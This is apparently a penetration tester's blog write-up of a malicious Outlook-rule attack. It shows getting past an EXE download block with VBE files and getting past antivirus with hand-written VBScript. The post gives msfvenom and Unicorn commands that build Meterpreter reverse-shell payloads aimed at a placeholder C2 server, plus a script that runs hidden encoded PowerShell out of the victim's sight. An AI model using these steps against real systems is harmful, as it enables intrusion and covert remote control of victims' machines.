My current favorite exploit is creating malicious outlook rules as described here. The rule is configured to download an executable file with an EXE extension (.exe) when an email with a certain subject line is received. The executable establishes a command and control (C2) session with the attacker’s server.

On a recent assessment I ran into a situation where the customer network I was testing had firewall rules in place that did not allow download of any file with an EXE extension. When the outlook rule triggered, the user would see the following error and no C2 session was established.

I found that downloading PowerShell files with a .ps1 extension was allowed, but when the rule triggered the script was simply opened in a text editor and not executed. I visited this site to review other Windows executable extensions that may be allowed for download as well as automatically execute. I found that downloading HTA, BAT, VB, VBS and VBSCRIPT files were also blocked . . . but VBE files were allowed.

With one hurdle overcome, I proceeded to generate a Visual Basic script to establish the C2 connection using the msfvenom tool as follows:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<my c2 server IP> LPORT=443 -f vbs

Unfortunately this was caught by Symantec EndPoint Protection and blocked from running on the target. Instead, I manually created the script using two lines of code similar to the following:

Set objShell = CreateObject("Wscript.shell")

objShell.run("powershell -window hidden -EncodedCommand JA<..snip..>A=")

Note that the encoded command has been shortened (“snipped”) in the code above for brevity.

The PowerShell command shown in the second line of code was generated by the Unicorn tool with the command below. (see https://github.com/trustedsec/unicorn)

./unicorn.py windows/meterpreter/reverse_tcp <my c2 server IP> 443

One drawback to the proposed VBE method is that it causes a command window to pop up for a split second when it executes which may alert the victim that something suspicious just happened. Let’s adjust the second line of our script, passing in a second parameter of “0”. This instructs the script to hide the window. Oddly enough, you have to remove the surrounding parenthesis from the method call to add this parameter. The new and improved VB script is shown below.

Set objShell = CreateObject("Wscript.shell")

objShell.run "powershell -window hidden -EncodedCommand JA<..snip..>A=",0

And that did it, I can now establish a C2 session by sending an email to the target, without requiring an EXE file to pass through the firewall.